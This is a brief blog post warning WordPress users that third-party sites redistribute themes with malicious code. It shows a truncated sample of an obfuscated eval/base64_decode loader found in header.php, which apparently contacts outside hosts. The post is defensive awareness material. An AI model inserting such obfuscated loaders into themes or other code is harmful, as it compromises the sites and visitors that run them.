WordPress themes distributed by 3rd party

Following suit of Derek Punsalan of 5thirtyone.com I would like to spread the word about recent happenings with WordPress Themes. Apparently, there have been multiple occurrences where 3rd party theme websites have been redistributing themes with malicious or spammy code inside.

Here is how to determine whether the theme you have downloaded contains malicious content inside. Open up header.php file and within it look for something like this:

@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\
LCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiw\
gJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICR\
SNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3I\
iOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMk\
...

If you see anything that resembles the code above, do not use this theme and contact the original theme author for details on how to fix it.

For more details on this issue, read Derek’s post.